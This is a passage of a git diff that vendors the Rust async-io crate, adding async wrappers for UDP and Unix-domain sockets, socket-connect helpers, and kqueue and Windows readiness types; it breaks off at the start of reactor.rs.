io::Result { + let addr = addr.into(); + self.write_with(|io| io.send_to(buf, addr)).await + } + + /// Receives a single datagram message from the connected peer. + /// + /// Returns the number of bytes read. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// The [`connect`][`UdpSocket::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = socket.recv(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.recv(buf)).await + } + + /// Receives a single datagram message from the connected peer without removing it from the + /// queue. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// This method must be called with a valid byte slice of sufficient size to hold the message. + /// If the message is too long to fit, excess bytes may get discarded. + /// + /// The [`connect`][`UdpSocket::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = socket.peek(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.peek(buf)).await + } + + /// Sends data to the connected peer. + /// + /// Returns the number of bytes written. + /// + /// The [`connect`][`UdpSocket::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind(([127, 0, 0, 1], 8000))?; + /// socket.get_ref().connect("127.0.0.1:9000")?; + /// + /// let msg = b"hello"; + /// let len = socket.send(msg).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.write_with(|io| io.send(buf)).await + } +} + +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(socket: std::net::UdpSocket) -> io::Result { + Async::new(socket) + } +} + +#[cfg(unix)] +impl Async { + /// Creates a UDS listener bound to the specified path. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind("/tmp/socket")?; + /// println!("Listening on {:?}", listener.get_ref().local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result> { + let path = path.as_ref().to_owned(); + Async::new(UnixListener::bind(path)?) + } + + /// Accepts a new incoming UDS stream connection. + /// + /// When a connection is established, it will be returned as a stream together with its remote + /// address. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind("/tmp/socket")?; + /// let (stream, addr) = listener.accept().await?; + /// println!("Accepted client: {:?}", addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(Async, UnixSocketAddr)> { + let (stream, addr) = self.read_with(|io| io.accept()).await?; + Ok((Async::new(stream)?, addr)) + } + + /// Returns a stream of incoming UDS connections. + /// + /// The stream is infinite, i.e. it never stops with a [`None`] item. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use futures_lite::stream::StreamExt; + /// use std::os::unix::net::UnixListener; + /// use std::pin::pin; + /// + /// # futures_lite::future::block_on(async { + /// let listener = Async::::bind("/tmp/socket")?; + /// let incoming = listener.incoming(); + /// let mut incoming = pin!(incoming); + /// + /// while let Some(stream) = incoming.next().await { + /// let stream = stream?; + /// println!("Accepted client: {:?}", stream.get_ref().peer_addr()?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> impl Stream>> + Send + '_ { + stream::unfold(self, |listener| async move { + let res = listener.accept().await.map(|(stream, _)| stream); + Some((res, listener)) + }) + } +} + +#[cfg(unix)] +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(listener: std::os::unix::net::UnixListener) -> io::Result { + Async::new(listener) + } +} + +#[cfg(unix)] +impl Async { + /// Creates a UDS stream connected to the specified path. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = Async::::connect("/tmp/socket").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect>(path: P) -> io::Result> { + let address = convert_path_to_socket_address(path.as_ref())?; + + // Begin async connect. + let socket = connect(address.into(), rn::AddressFamily::UNIX, None)?; + // Use new_nonblocking because connect already sets socket to non-blocking mode. + let stream = Async::new_nonblocking(UnixStream::from(socket))?; + + // The stream becomes writable when connected. + stream.writable().await?; + + // On Linux, it appears the socket may become writable even when connecting fails, so we + // must do an extra check here and see if the peer address is retrievable. + stream.get_ref().peer_addr()?; + Ok(stream) + } + + /// Creates an unnamed pair of connected UDS stream sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixStream; + /// + /// # futures_lite::future::block_on(async { + /// let (stream1, stream2) = Async::::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(Async, Async)> { + let (stream1, stream2) = UnixStream::pair()?; + Ok((Async::new(stream1)?, Async::new(stream2)?)) + } +} + +#[cfg(unix)] +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(stream: std::os::unix::net::UnixStream) -> io::Result { + Async::new(stream) + } +} + +#[cfg(unix)] +impl Async { + /// Creates a UDS datagram socket bound to the specified path. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket")?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn bind>(path: P) -> io::Result> { + let path = path.as_ref().to_owned(); + Async::new(UnixDatagram::bind(path)?) + } + + /// Creates a UDS datagram socket not bound to any address. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::unbound()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn unbound() -> io::Result> { + Async::new(UnixDatagram::unbound()?) + } + + /// Creates an unnamed pair of connected Unix datagram sockets. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let (socket1, socket2) = Async::::pair()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn pair() -> io::Result<(Async, Async)> { + let (socket1, socket2) = UnixDatagram::pair()?; + Ok((Async::new(socket1)?, Async::new(socket2)?)) + } + + /// Receives data from the socket. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket")?; + /// + /// let mut buf = [0u8; 1024]; + /// let (len, addr) = socket.recv_from(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, UnixSocketAddr)> { + self.read_with(|io| io.recv_from(buf)).await + } + + /// Sends data to the specified address. + /// + /// Returns the number of bytes written. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::unbound()?; + /// + /// let msg = b"hello"; + /// let addr = "/tmp/socket"; + /// let len = socket.send_to(msg, addr).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send_to>(&self, buf: &[u8], path: P) -> io::Result { + self.write_with(|io| io.send_to(buf, &path)).await + } + + /// Receives data from the connected peer. + /// + /// Returns the number of bytes read and the address the message came from. + /// + /// The [`connect`][`UnixDatagram::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket1")?; + /// socket.get_ref().connect("/tmp/socket2")?; + /// + /// let mut buf = [0u8; 1024]; + /// let len = socket.recv(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv(&self, buf: &mut [u8]) -> io::Result { + self.read_with(|io| io.recv(buf)).await + } + + /// Sends data to the connected peer. + /// + /// Returns the number of bytes written. + /// + /// The [`connect`][`UnixDatagram::connect()`] method connects this socket to a remote address. + /// This method will fail if the socket is not connected. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::Async; + /// use std::os::unix::net::UnixDatagram; + /// + /// # futures_lite::future::block_on(async { + /// let socket = Async::::bind("/tmp/socket1")?; + /// socket.get_ref().connect("/tmp/socket2")?; + /// + /// let msg = b"hello"; + /// let len = socket.send(msg).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn send(&self, buf: &[u8]) -> io::Result { + self.write_with(|io| io.send(buf)).await + } +} + +#[cfg(unix)] +impl TryFrom for Async { + type Error = io::Error; + + fn try_from(socket: std::os::unix::net::UnixDatagram) -> io::Result { + Async::new(socket) + } +} + +/// Polls a future once, waits for a wakeup, and then optimistically assumes the future is ready. +async fn optimistic(fut: impl Future>) -> io::Result<()> { + let mut polled = false; + let mut fut = pin!(fut); + + poll_fn(|cx| { + if !polled { + polled = true; + fut.as_mut().poll(cx) + } else { + Poll::Ready(Ok(())) + } + }) + .await +} + +fn connect( + addr: rn::SocketAddrAny, + domain: rn::AddressFamily, + protocol: Option, +) -> io::Result { + #[cfg(windows)] + use rustix::fd::AsFd; + + setup_networking(); + + #[cfg(any( + target_os = "android", + target_os = "dragonfly", + target_os = "freebsd", + target_os = "fuchsia", + target_os = "illumos", + target_os = "linux", + target_os = "netbsd", + target_os = "openbsd" + ))] + let socket = rn::socket_with( + domain, + rn::SocketType::STREAM, + rn::SocketFlags::CLOEXEC | rn::SocketFlags::NONBLOCK, + protocol, + )?; + + #[cfg(not(any( + target_os = "android", + target_os = "dragonfly", + target_os = "freebsd", + target_os = "fuchsia", + target_os = "illumos", + target_os = "linux", + target_os = "netbsd", + target_os = "openbsd" + )))] + let socket = { + #[cfg(not(any( + target_os = "aix", + target_vendor = "apple", + target_os = "espidf", + target_os = "haiku", + windows, + )))] + let flags = rn::SocketFlags::CLOEXEC; + #[cfg(any( + target_os = "aix", + target_vendor = "apple", + target_os = "espidf", + target_os = "haiku", + windows, + ))] + let flags = rn::SocketFlags::empty(); + + // Create the socket. + let socket = rn::socket_with(domain, rn::SocketType::STREAM, flags, protocol)?; + + // Set cloexec if necessary. + #[cfg(any(target_os = "aix", target_vendor = "apple"))] + rio::fcntl_setfd(&socket, rio::fcntl_getfd(&socket)? | rio::FdFlags::CLOEXEC)?; + + // Set non-blocking mode. + set_nonblocking(socket.as_fd())?; + + socket + }; + + // Set nosigpipe if necessary. + #[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "dragonfly", + ))] + rn::sockopt::set_socket_nosigpipe(&socket, true)?; + + // Set the handle information to HANDLE_FLAG_INHERIT. + #[cfg(windows)] + unsafe { + if windows_sys::Win32::Foundation::SetHandleInformation( + socket.as_raw_socket() as _, + windows_sys::Win32::Foundation::HANDLE_FLAG_INHERIT, + windows_sys::Win32::Foundation::HANDLE_FLAG_INHERIT, + ) == 0 + { + return Err(io::Error::last_os_error()); + } + } + + #[allow(unreachable_patterns)] + match rn::connect(&socket, &addr) { + Ok(_) => {} + #[cfg(unix)] + Err(rio::Errno::INPROGRESS) => {} + Err(rio::Errno::AGAIN) | Err(rio::Errno::WOULDBLOCK) => {} + Err(err) => return Err(err.into()), + } + Ok(socket) +} + +#[inline] +fn setup_networking() { + #[cfg(windows)] + { + // On Windows, we need to call WSAStartup before calling any networking code. + // Make sure to call it at least once. + static INIT: std::sync::Once = std::sync::Once::new(); + + INIT.call_once(|| { + let _ = rustix::net::wsa_startup(); + }); + } +} + +#[inline] +fn set_nonblocking( + #[cfg(unix)] fd: BorrowedFd<'_>, + #[cfg(windows)] fd: BorrowedSocket<'_>, +) -> io::Result<()> { + cfg_if::cfg_if! { + // ioctl(FIONBIO) sets the flag atomically, but we use this only on Linux + // for now, as with the standard library, because it seems to behave + // differently depending on the platform. + // https://github.com/rust-lang/rust/commit/efeb42be2837842d1beb47b51bb693c7474aba3d + // https://github.com/libuv/libuv/blob/e9d91fccfc3e5ff772d5da90e1c4a24061198ca0/src/unix/poll.c#L78-L80 + // https://github.com/tokio-rs/mio/commit/0db49f6d5caf54b12176821363d154384357e70a + if #[cfg(any(windows, target_os = "linux"))] { + rustix::io::ioctl_fionbio(fd, true)?; + } else { + let previous = rustix::fs::fcntl_getfl(fd)?; + let new = previous | rustix::fs::OFlags::NONBLOCK; + if new != previous { + rustix::fs::fcntl_setfl(fd, new)?; + } + } + } + + Ok(()) +} + +/// Converts a `Path` to its socket address representation. +/// +/// This function is abstract socket-aware. +#[cfg(unix)] +#[inline] +fn convert_path_to_socket_address(path: &Path) -> io::Result { + // SocketAddrUnix::new() will throw EINVAL when a path with a zero in it is passed in. + // However, some users expect to be able to pass in paths to abstract sockets, which + // triggers this error as it has a zero in it. Therefore, if a path starts with a zero, + // make it an abstract socket. + #[cfg(any(target_os = "linux", target_os = "android"))] + let address = { + use std::os::unix::ffi::OsStrExt; + + let path = path.as_os_str(); + match path.as_bytes().first() { + Some(0) => rn::SocketAddrUnix::new_abstract_name(path.as_bytes().get(1..).unwrap())?, + _ => rn::SocketAddrUnix::new(path)?, + } + }; + + // Only Linux and Android support abstract sockets. + #[cfg(not(any(target_os = "linux", target_os = "android")))] + let address = rn::SocketAddrUnix::new(path)?; + + Ok(address) +} diff --git a/lib/malio/async-io/src/os.rs b/lib/malio/async-io/src/os.rs new file mode 100644 index 0000000..abc03bb --- /dev/null +++ b/lib/malio/async-io/src/os.rs @@ -0,0 +1,16 @@ +//! Platform-specific functionality. + +#[cfg(unix)] +pub mod unix; + +#[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", +))] +pub mod kqueue; + +#[cfg(windows)] +pub mod windows; diff --git a/lib/malio/async-io/src/os/kqueue.rs b/lib/malio/async-io/src/os/kqueue.rs new file mode 100644 index 0000000..c796590 --- /dev/null +++ b/lib/malio/async-io/src/os/kqueue.rs @@ -0,0 +1,278 @@ +//! Functionality that is only available for `kqueue`-based platforms. + +use __private::QueueableSealed; + +use crate::reactor::{Reactor, Readable, Registration}; +use crate::Async; + +use std::future::Future; +use std::io::{Error, Result}; +use std::num::NonZeroI32; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +use std::pin::Pin; +use std::process::Child; +use std::task::{Context, Poll}; + +/// A wrapper around a queueable object that waits until it is ready. +/// +/// The underlying `kqueue` implementation can be used to poll for events besides file descriptor +/// read/write readiness. This API makes these faculties available to the user. +/// +/// See the [`Queueable`] trait and its implementors for objects that currently support being registered +/// into the reactor. +#[derive(Debug)] +pub struct Filter(Async); + +impl AsRef for Filter { + fn as_ref(&self) -> &T { + self.0.as_ref() + } +} + +impl AsMut for Filter { + fn as_mut(&mut self) -> &mut T { + self.get_mut() + } +} + +impl Filter { + /// Create a new [`Filter`] around a [`Queueable`]. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// // Create a new process to wait for. + /// let mut child = Command::new("sleep").arg("5").spawn().unwrap(); + /// + /// // Wrap the process in an `Async` object that waits for it to exit. + /// let process = Filter::new(Exit::new(child)).unwrap(); + /// + /// // Wait for the process to exit. + /// # async_io::block_on(async { + /// process.ready().await.unwrap(); + /// # }); + /// ``` + pub fn new(mut filter: T) -> Result { + Ok(Self(Async { + source: Reactor::get().insert_io(filter.registration())?, + io: Some(filter), + })) + } +} + +impl AsRawFd for Filter { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +impl AsFd for Filter { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +impl> TryFrom for Filter { + type Error = Error; + + fn try_from(fd: OwnedFd) -> Result { + Ok(Self(Async::try_from(fd)?)) + } +} + +impl> TryFrom> for OwnedFd { + type Error = Error; + + fn try_from(filter: Filter) -> Result { + filter.0.try_into() + } +} + +impl Filter { + /// Gets a reference to the underlying [`Queueable`] object. + /// + /// # Examples + /// + /// ``` + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = std::process::Command::new("sleep").arg("5").spawn().unwrap(); + /// let process = Filter::new(Exit::new(child)).unwrap(); + /// let inner = process.get_ref(); + /// # }); + /// ``` + pub fn get_ref(&self) -> &T { + self.0.get_ref() + } + + /// Gets a mutable reference to the underlying [`Queueable`] object. + /// + /// Unlike in [`Async`], this method is safe to call, since dropping the [`Filter`] will + /// not cause any undefined behavior. + /// + /// # Examples + /// + /// ``` + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = std::process::Command::new("sleep").arg("5").spawn().unwrap(); + /// let mut process = Filter::new(Exit::new(child)).unwrap(); + /// let inner = process.get_mut(); + /// # }); + /// ``` + pub fn get_mut(&mut self) -> &mut T { + unsafe { self.0.get_mut() } + } + + /// Unwraps the inner [`Queueable`] object. + /// + /// # Examples + /// + /// ``` + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = std::process::Command::new("sleep").arg("5").spawn().unwrap(); + /// let process = Filter::new(Exit::new(child)).unwrap(); + /// let inner = process.into_inner().unwrap(); + /// # }); + /// ``` + pub fn into_inner(self) -> Result { + self.0.into_inner() + } + + /// Waits until the [`Queueable`] object is ready. + /// + /// This method completes when the underlying [`Queueable`] object has completed. See the documentation + /// for the [`Queueable`] object for more information. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::kqueue::{Exit, Filter}; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Filter::new(Exit::new(child))?; + /// + /// // Wait for the process to exit. + /// process.ready().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ready(&self) -> Ready<'_, T> { + Ready(self.0.readable()) + } + + /// Polls the I/O handle for readiness. + /// + /// When this method returns [`Poll::Ready`], that means that the OS has delivered a notification + /// that the underlying [`Queueable`] object is ready. See the documentation for the [`Queueable`] + /// object for more information. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::os::kqueue::{Exit, Filter}; + /// use std::future::poll_fn; + /// use std::process::Command; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Filter::new(Exit::new(child))?; + /// + /// // Wait for the process to exit. + /// poll_fn(|cx| process.poll_ready(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_ready(&self, cx: &mut Context<'_>) -> Poll> { + self.0.poll_readable(cx) + } +} + +/// Future for [`Filter::ready`]. +#[must_use = "futures do nothing unless you `.await` or poll them"] +#[derive(Debug)] +pub struct Ready<'a, T>(Readable<'a, T>); + +impl Future for Ready<'_, T> { + type Output = Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + Pin::new(&mut self.0).poll(cx) + } +} + +/// Objects that can be registered into the reactor via a [`Async`](crate::Async). +/// +/// These objects represent other filters associated with the `kqueue` runtime aside from readability +/// and writability. Rather than waiting on readable/writable, they wait on "readiness". This is +/// typically used for signals and child process exits. +pub trait Queueable: QueueableSealed {} + +/// An object representing a signal. +/// +/// When registered into [`Async`](crate::Async) via [`with_filter`](AsyncKqueueExt::with_filter), +/// it will return a [`readable`](crate::Async::readable) event when the signal is received. +#[derive(Debug, Copy, Clone, Eq, PartialEq, PartialOrd, Ord, Hash)] +pub struct Signal(pub i32); + +impl QueueableSealed for Signal { + fn registration(&mut self) -> Registration { + Registration::Signal(*self) + } +} +impl Queueable for Signal {} + +/// Wait for a child process to exit. +/// +/// When registered into [`Async`](crate::Async) via [`with_filter`](AsyncKqueueExt::with_filter), +/// it will return a [`readable`](crate::Async::readable) event when the child process exits. +#[derive(Debug)] +pub struct Exit(NonZeroI32); + +impl Exit { + /// Create a new `Exit` object. + pub fn new(child: Child) -> Self { + Self( + NonZeroI32::new(child.id().try_into().expect("unable to parse pid")) + .expect("cannot register pid with zero value"), + ) + } + + /// Create a new `Exit` object from a PID. + /// + /// # Safety + /// + /// The PID must be tied to an actual child process. + pub unsafe fn from_pid(pid: NonZeroI32) -> Self { + Self(pid) + } +} + +impl QueueableSealed for Exit { + fn registration(&mut self) -> Registration { + Registration::Process(self.0) + } +} +impl Queueable for Exit {} + +mod __private { + use crate::reactor::Registration; + + #[doc(hidden)] + pub trait QueueableSealed { + /// Get a registration object for this filter. + fn registration(&mut self) -> Registration; + } +} diff --git a/lib/malio/async-io/src/os/unix.rs b/lib/malio/async-io/src/os/unix.rs new file mode 100644 index 0000000..b3d4d11 --- /dev/null +++ b/lib/malio/async-io/src/os/unix.rs @@ -0,0 +1,65 @@ +//! Functionality that is only available for `unix` platforms. + +use std::os::unix::io::BorrowedFd; + +/// Get a file descriptor that can be used to wait for readiness in an external runtime. +/// +/// This file descriptor is equivalent to the one used by the underlying epoll/kqueue/event ports +/// instance for polling. The intention is that this file descriptor can be registered into an +/// external runtime (like [`calloop`] or [GLib]) so that `async-io` can be seamlessly polled +/// alongside the other runtime. +/// +/// Not every backend used on `unix` has an associated file descriptor, however. While epoll, +/// kqueue and event ports have a file descriptor as a backend, on some Unix systems `async-io` +/// will use the `poll()` system call instead. Since there are no file descriptors intrinsically +/// associated with `poll()`, this function will return `None`. +/// +/// There is presently no way to stop the "`async-io`" thread from being launched, so the reactor +/// will still be continuously polled on that thread. This fact should be kept in mind by anyone +/// looking to integrate `async-io` into another runtime using this function. +/// +/// It is possible to use this function to call raw system calls on the underlying event source. +/// This is generally not recommended, since registered event sources may conflict with `async-io`'s +/// existing scheme for managing sources. The behavior resulting from this is not specified, but +/// will not result in undefined behavior. This could include panics, incorrect results, aborts, +/// memory leaks, and non-termination. +/// +/// [`calloop`]: https://docs.rs/calloop +/// [GLib]: https://en.wikipedia.org/wiki/GLib +/// +/// ## Example +/// +/// ``` +/// #![cfg(unix)] +/// +/// use async_io::os::unix::reactor_fd; +/// +/// my_runtime::register(reactor_fd().unwrap()); +/// # mod my_runtime { +/// # use std::os::unix::io::BorrowedFd; +/// # pub fn register(_: BorrowedFd<'_>) {} +/// # } +/// ``` +pub fn reactor_fd() -> Option> { + cfg_if::cfg_if! { + if #[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_os = "illumos", + target_os = "solaris", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), + ))] { + use std::os::unix::io::AsFd; + Some(crate::Reactor::get().poller.as_fd()) + } else { + None + } + } +} diff --git a/lib/malio/async-io/src/os/windows.rs b/lib/malio/async-io/src/os/windows.rs new file mode 100644 index 0000000..b0a5c5e --- /dev/null +++ b/lib/malio/async-io/src/os/windows.rs @@ -0,0 +1,191 @@ +//! Functionality that is only available on Windows. + +use crate::reactor::{Reactor, Readable, Registration}; +use crate::Async; + +use std::future::Future; +use std::io::{self, Result}; +use std::os::windows::io::{AsHandle, AsRawHandle, BorrowedHandle, OwnedHandle, RawHandle}; +use std::pin::Pin; +use std::task::{Context, Poll}; + +/// A waitable handle registered in the reactor. +/// +/// Some handles in Windows are “waitableâ€, which means that they emit a “readiness†signal after some event occurs. This function can be used to wait for such events to occur on a handle. This function can be used in addition to regular socket polling. +/// +/// Waitable objects include the following: +/// +/// - Console inputs +/// - Waitable events +/// - Mutexes +/// - Processes +/// - Semaphores +/// - Threads +/// - Timer +/// +/// This structure can be used to wait for any of these objects to become ready. +/// +/// ## Implementation +/// +/// The current implementation waits on the handle by registering it in the application-global +/// Win32 threadpool. However, in the future it may be possible to migrate to an implementation +/// on Windows 10 that uses a mechanism similar to [`MsgWaitForMultipleObjectsEx`]. +/// +/// [`MsgWaitForMultipleObjectsEx`]: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-msgwaitformultipleobjectsex +/// +/// ## Caveats +/// +/// Read the documentation for the [`Async`](crate::Async) type for more information regarding the +/// abilities and caveats with using this type. +#[derive(Debug)] +pub struct Waitable(Async); + +impl AsRef for Waitable { + fn as_ref(&self) -> &T { + self.0.as_ref() + } +} + +impl Waitable { + /// Create a new [`Waitable`] around a waitable handle. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::windows::Waitable; + /// + /// // Create a new process to wait for. + /// let mut child = Command::new("sleep").arg("5").spawn().unwrap(); + /// + /// // Wrap the process in an `Async` object that waits for it to exit. + /// let process = Waitable::new(child).unwrap(); + /// + /// // Wait for the process to exit. + /// # async_io::block_on(async { + /// process.ready().await.unwrap(); + /// # }); + /// ``` + pub fn new(handle: T) -> Result { + Ok(Self(Async { + source: Reactor::get() + .insert_io(unsafe { Registration::new_waitable(handle.as_handle()) })?, + io: Some(handle), + })) + } +} + +impl AsRawHandle for Waitable { + fn as_raw_handle(&self) -> RawHandle { + self.get_ref().as_raw_handle() + } +} + +impl AsHandle for Waitable { + fn as_handle(&self) -> BorrowedHandle<'_> { + self.get_ref().as_handle() + } +} + +impl> TryFrom for Waitable { + type Error = io::Error; + + fn try_from(handle: OwnedHandle) -> Result { + Self::new(handle.into()) + } +} + +impl> TryFrom> for OwnedHandle { + type Error = io::Error; + + fn try_from(value: Waitable) -> std::result::Result { + value.into_inner().map(|handle| handle.into()) + } +} + +impl Waitable { + /// Get a reference to the inner handle. + pub fn get_ref(&self) -> &T { + self.0.get_ref() + } + + /// Get a mutable reference to the inner handle. + /// + /// # Safety + /// + /// The underlying I/O source must not be dropped or moved out using this function. + pub unsafe fn get_mut(&mut self) -> &mut T { + self.0.get_mut() + } + + /// Consumes the [`Waitable`], returning the inner handle. + pub fn into_inner(self) -> Result { + self.0.into_inner() + } + + /// Waits until the [`Waitable`] object is ready. + /// + /// This method completes when the underlying [`Waitable`] object has completed. See the documentation + /// for the [`Waitable`] object for more information. + /// + /// # Examples + /// + /// ```no_run + /// use std::process::Command; + /// use async_io::os::windows::Waitable; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Waitable::new(child)?; + /// + /// // Wait for the process to exit. + /// process.ready().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ready(&self) -> Ready<'_, T> { + Ready(self.0.readable()) + } + + /// Polls the I/O handle for readiness. + /// + /// When this method returns [`Poll::Ready`], that means that the OS has delivered a notification + /// that the underlying [`Waitable`] object is ready. See the documentation for the [`Waitable`] + /// object for more information. + /// + /// # Caveats + /// + /// Two different tasks should not call this method concurrently. Otherwise, conflicting tasks + /// will just keep waking each other in turn, thus wasting CPU time. + /// + /// # Examples + /// + /// ```no_run + /// use async_io::os::windows::Waitable; + /// use std::future::poll_fn; + /// use std::process::Command; + /// + /// # futures_lite::future::block_on(async { + /// let child = Command::new("sleep").arg("5").spawn()?; + /// let process = Waitable::new(child)?; + /// + /// // Wait for the process to exit. + /// poll_fn(|cx| process.poll_ready(cx)).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn poll_ready(&self, cx: &mut Context<'_>) -> Poll> { + self.0.poll_readable(cx) + } +} + +/// Future for [`Filter::ready`]. +#[must_use = "futures do nothing unless you `.await` or poll them"] +#[derive(Debug)] +pub struct Ready<'a, T>(Readable<'a, T>); + +impl Future for Ready<'_, T> { + type Output = Result<()>; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + Pin::new(&mut self.0).poll(cx) + } +} diff --git a/lib/malio/async-io/src/reactor.rs b/lib/malio/async-io/src/reactor.rs new file mode 100644 index 0000000..b62fd07 --- /dev/null +++ b/lib/malio/async-io/src/reactor.rs @@ -0,0 +1,680 @@ +use std::borrow::Borrow; +use std::collections::BTreeMap; +use std::fmt; +use std::future::Future; +use std::io; +use std::marker::PhantomData; +use std::mem; +use std::panic; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Arc, Mutex, MutexGuard, OnceLock}; +use std::task::{ready, Context, Poll, Waker}; +use std::time::{Duration, Instant}; + +use concurrent_queue::ConcurrentQueue; +use polling::{Event, Events, Poller}; +use slab::Slab; + +// Choose the proper implementation of `Registration` based on the target platform. +cfg_if::cfg_if! { + if #[cfg(windows)] { + mod windows; + pub use windows::Registration; + } else if #[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ))] { + mod kqueue; + pub use kqueue::Registration; + } else if #[cfg(unix)] { + mod unix; + pub use unix::Registration; + } else { + compile_error!("unsupported platform"); + } +} + +#[cfg(not(target_os = "espidf"))] +const 